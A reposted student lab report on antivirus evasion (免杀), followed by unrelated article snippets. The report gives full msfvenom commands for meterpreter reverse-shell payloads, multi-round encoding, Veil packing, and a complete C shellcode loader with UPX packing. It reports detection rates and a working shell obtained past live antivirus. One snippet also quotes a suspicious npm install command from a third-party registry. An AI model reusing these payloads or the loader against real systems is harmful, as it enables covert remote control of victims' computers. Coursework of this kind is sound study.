20232411 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/10/27 15:24:21/文章来源:https://www.cnblogs.com/20232411dyx/p/19167810

1.实验内容

掌握免杀原理,使用编码技术,加壳技术和对应的免杀工具编写免杀代码。
问题回答:

  1. 杀软是如何检测出恶意代码的?
    回答:特征码检测,启发式分析,行为检测,沙箱技术等。
  2. 免杀是做什么?
    回答:免杀是对恶意代码进行加工处理,使其能够绕过杀毒软件的检测机制,避免被识别和清除。
  3. 免杀的基本方法有哪些?
    回答:修改文件特征,延迟执行,进程注入等。

2.实验过程

1.使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

(1)利用msf编码器生成多种免杀代码,并使用virustotal网站评价免杀效果。

  • 生成exe文件,代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.132 LPORT=4444 -f exe -o payload.exe,免杀率为29.58%。
    image
    image
  • 使用多重编码,代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.132 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload_10.exe
    ,免杀率为40.85%。
    image
    image
  • 生成JAR文件,代码:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.215.132 LPORT=4444 -f jar -o payload.jar
    ,免杀率为45.31%。
    image
    image
  • 生成PHP文件,代码:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.215.132 LPORT=4444 -f raw -o payload.php,免杀率为60.66%。
    image
    image
    可以看出exe,jar,php三种文件格式免杀率逐渐上升,使用多重编码后免杀率也有所上升,可以推出:不常见的文件格式和多重编码能提高免杀率。

(2)使用Veil进行加壳,并评价免杀效果。

  • 通过sudo apt -y install veil,下载安装veil。
    屏幕截图 2025-10-27 083657
  • 通过usr/share/veil/config/setup.sh --force --silent,配置veil的环境。
    屏幕截图 2025-10-27 083852
  • 生成免杀代码,并进行评价。
    image
    image
    image
    免杀率为48.61%,相较于多重编码有一定提高。

(3)使用C语言+Shellcode编程。

  • 生成原始shellcode,代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.132 LPORT=4444 -f c
    image
  • 创建C语言文件payload.c。
    image
  • 进行交叉编译,并评价免杀率。
    image
    image
    免杀率为56.94%,相较于veil加壳有进一步的提升。

(4)使用其他加壳技术对步骤(3)生成的免杀代码进一步处理。

  • 使用UPX加壳。
    image
    image
    免杀率为54.93%,同原代码几乎无区别,可以认为UPX加壳技术已被广泛标识。
  • 使用ASPack加壳。
    image
    image
    免杀率为56.34%,同原代码仍几乎无区别, 可以认为单凭加壳技术已不能带来免杀能力上的提升。

2.通过组合应用各种技术实现恶意代码免杀。

(1)使用多重编码生成基础payload。

  • 生成原始shellcode,代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.132 LPORT=4444 -f raw -o payload_raw.bin
  • 用Shikata Ga Nai进行十轮编码,代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.132 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f raw -o payload_encoded1.bin
  • 用Shikata Ga Nai与fnstenv mov进行六轮复合编码,代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.132 LPORT=4444 -e x86/shikata_ga_nai -i 6 -e x86/fnstenv_mov -i 6 -f raw -o payload_encoded2.bin
  • 生成C格式的shellcode,代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.132 LPORT=4444 -f c -o payload_c.c

(2)使用C+Shellcode编程处理payload。

  • 用vi创建C+Shellcode,代码如下:
点击查看代码
#include <windows.h>
#include <stdio.h>unsigned char shellcode[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89"
"\xe5\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7"
"\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xd7\x84\x68\x02\x00"
"\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5"; // 插入生成的shellcodeint main() {void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(exec, shellcode, sizeof shellcode);((void(*)())exec)();return 0;
}
  • 使用gcc编译,代码为:i686-w64-mingw32-gcc payload.c -o payload_basic.exe -s -Os

(3)进行UPX加壳处理,代码为:upx -9 payload_basic.exe -o payload_20232411.exe

(4)进行免杀测试。

image
image
image
免杀成功!

3.用另一电脑实测,在杀软开启的情况下,运行并回连。

  • 杀软名称及版本:
    image
  • 进行msf检查并运行免杀代码,成功获得shell。
    image
    image

3.问题及解决方案

  • 问题1:配置veil的环境时,出现报错,具体如下:
    image
  • 问题1解决方案:该报错指出veil缺少win32运行环境,启用多架构支持sudo dpkg --add-architecture i386,安装win32sudo apt-get install wine32:i386即可。
  • 问题2:下载veil依赖Veil-Framework时,由于连接github失败报错。
  • 问题2解决方案:使用手机热点进行下载。

4.学习感悟、思考等

本次实验提高了我对免杀技术的基本认知,使我对免杀代码有了一个粗浅的认知,为我今后的学习生活打下基础。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/947757.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年临沂一次性碗打包盒公司权威推荐榜单:一次性打包碗/一次性圆形打包碗/一次性打包碗商用源头公司精选

随着环保政策推进与外卖行业扩张,临沂作为华东地区重要的塑料制品产业带,一次性碗打包盒产量占全国份额的约18%(基于2024年行业数据统计)。其中,环保型材料(如植物纤维、生物降解类)产品需求年增长率达25%,推动…

构建强化版 Squoosh:基于 libimagequant-wasm 的高性能本地图片压缩方案

当 Google 在 2023 年初宣布关闭 Squoosh 时,Web 开发社区失去了一个宝贵的客户端图片压缩工具。在 OneImage,我们看到的不仅是保留这一功能的机会,更是增强它的可能性。本文详细介绍我们构建生产级强化版 Squoosh 的技…

iOS混淆实战用多工具组合把IPA加固做成可复用的工程能力(iOS混淆 IPA加固 无源码混淆

工程化 iOS 混淆实践:结合 MobSF/class-dump 静态侦察、Swift Shield/obfuscator-llvm 源码混淆、Ipa Guard 成品混淆、Fastlane/Jenkins 自动化、Frida/Hopper 动态验证与 KMS 管理映射表,构建可复现、可审计、可回…

当Claude Code遭遇gaccode夺舍 (附清除方法)

当Claude Code遭遇gaccode夺舍 (附清除方法)如果你用过gaccode.com的产品,使用过这个安装命令:npm install -g https://gaccode.com/claudecode/install --registry=https://registry.npmmirror.com 我刚试了一下这个…

java(2)-编写一个程序“Hello World!”

新建文件Welcome.javapublic class Welcome {public static void main(String[] args) {System.out.println("Hello World!");} } 注意:文件名与class名称应一致,且首字母大写。 编译文件 端口中打开文件…

合合信息与上海交通大学开展课题合作研究,共探智能文档图像处理前沿技术

View Post合合信息与上海交通大学开展课题合作研究,共探智能文档图像处理前沿技术计算机视觉领域迎来新突破,合合信息与上海交通大学联合举办的首届VQualA视觉质量评估研讨会及文档图像质量评估竞赛在ICCV2025期间举…

2025 年 10 月进销存管理系统,进销存软件,进销存管理软件公司最新推荐,技术实力与市场口碑深度解析!

引言 当前超过 87% 的中小企业已意识到进销存数字化管理的核心价值,但市场产品同质化严重,选型失误率高达 42%。为破解企业决策困境,本次测评联合行业协会开展专项调研,覆盖 120 余家主流服务商,采用五维评估模型…

联想云平台与机房

联想云平台与机房联想云平台与机房 第一,登录联想云平台(账号密码要记住,因为客户端登录更新,也需要)2、先在客户机登录云平台客户端,然后,选择更新。然后确定 实在要更新,重新启动客户端计算机。 3.客户端计算…

常用数据管理工具与平台汇总

常用数据管理工具与平台汇总作为数据架构师/工程师,查看、修改各类系统中的数据(尤其是结构化数据)是日常高频操作。以下是根据工作中使用过的工具及平台进行的汇总。 一、客户端 客户端工具需要在本机进行安装,访…

cyclonessd ROS2 lidar topic 数据丢帧 系统配置

<?xml version="1.0" encoding="UTF-8" ?><CycloneDDS xmlns="https://cdds.io/config" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLoca…

2025 年云进销存,电商进销存公司最新推荐,聚焦跨平台能力与售后体系的实用指南!

引言 据行业监测数据显示,2025 年中小企业进销存软件渗透率已达 47.2%,云进销存与电商专属系统成为市场主流需求。为解决企业选型难题,本次测评联合行业协会开展专项调研,覆盖 62 家主流服务商。测评采用 “四维评…

2025 年 10 月进销存系统,仓库进销存,仓库进销存管理系统公司最新推荐,技术实力与市场口碑深度解析!

引言 据行业协会最新发布的《2025 仓储管理数字化发展报告》显示,87% 的企业在仓库进销存管理中已实现数字化转型,而系统选型失误导致的成本浪费占比达 32%。为解决企业选型难题,本次测评联合专业技术机构与行业调研…

洛谷题单指南-进阶数论-CF582A GCD Table

原题链接:https://www.luogu.com.cn/problem/CF582A 题意解读:已知数列中每两个数的GCD(包括自己和自己的GCD),求原数列有哪些数。 解题思路: 由于GCD(a, b) <= min(a, b), 那么初始情况下GCD表中最大的数一…

2025 年 10 月 WMS 系统,WMS 软件,wms 仓储管理系统公司最新推荐,聚焦资质、案例、售后的优质机构深度解读

引言 随着数字化仓储需求的持续攀升,企业对 WMS 系统的专业性、稳定性及服务能力要求愈发严苛。为帮助企业精准筛选优质服务商,本次推荐基于仓储与配送协会 2025 年 10 月发布的《全国 WMS 系统服务商测评报告》,结…

2025 年 10 月 wms 仓库管理系统,仓储管理系统 wms 公司最新推荐,技术实力与市场口碑深度解析!

引言 2025 年旺季来临之际,仓储管理系统(WMS)已成为企业提升履约效率的核心支撑,尤其在电商大促、跨境贸易高峰叠加期,系统稳定性直接影响企业运营成本与客户满意度。本次测评基于行业协会最新发布的《2025 仓储管…

状态迁移与场景法:搞定复杂业务流测试的利器

希望本文能帮助你更好地理解状态迁移法和场景法,并在实际工作中灵活运用。如果你有任何问题或想法,欢迎在评论区留言交流!在软件测试中,我们经常会遇到各种复杂的业务流系统,比如电商订单、客服工单、审批流程等。…

2025无机纤维喷涂/聚氨酯保温喷涂推荐榜:四川瀛都鑫顺防腐保温领衔,建筑/工业保温降噪优质厂家精选

2025 年建筑节能、工业设备绝热、声学降噪领域需求持续升级,无机纤维喷涂作为兼具保温、防火、降噪功能的核心材料,其 “材料环保性、施工专业性、场景适配性” 成为企业选择的核心标准。经技术实力与服务口碑筛选,…

实用指南:精读C++20设计模式——行动型设计模式:责任链

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Go语言测试全攻略:从单元测试到模糊测试

本文详细介绍了Go语言中的测试实践,包括单元测试编写、表驱动测试、代码覆盖率分析、CI/CD集成以及模糊测试技术,帮助开发者构建更健壮可靠的应用程序。Go语言测试指南 有些开发者通常选择不为代码编写测试,或者有很…

090_尚硅谷_循环控制基本介绍和入门

090_尚硅谷_循环控制基本介绍和入门1.for循环入门使用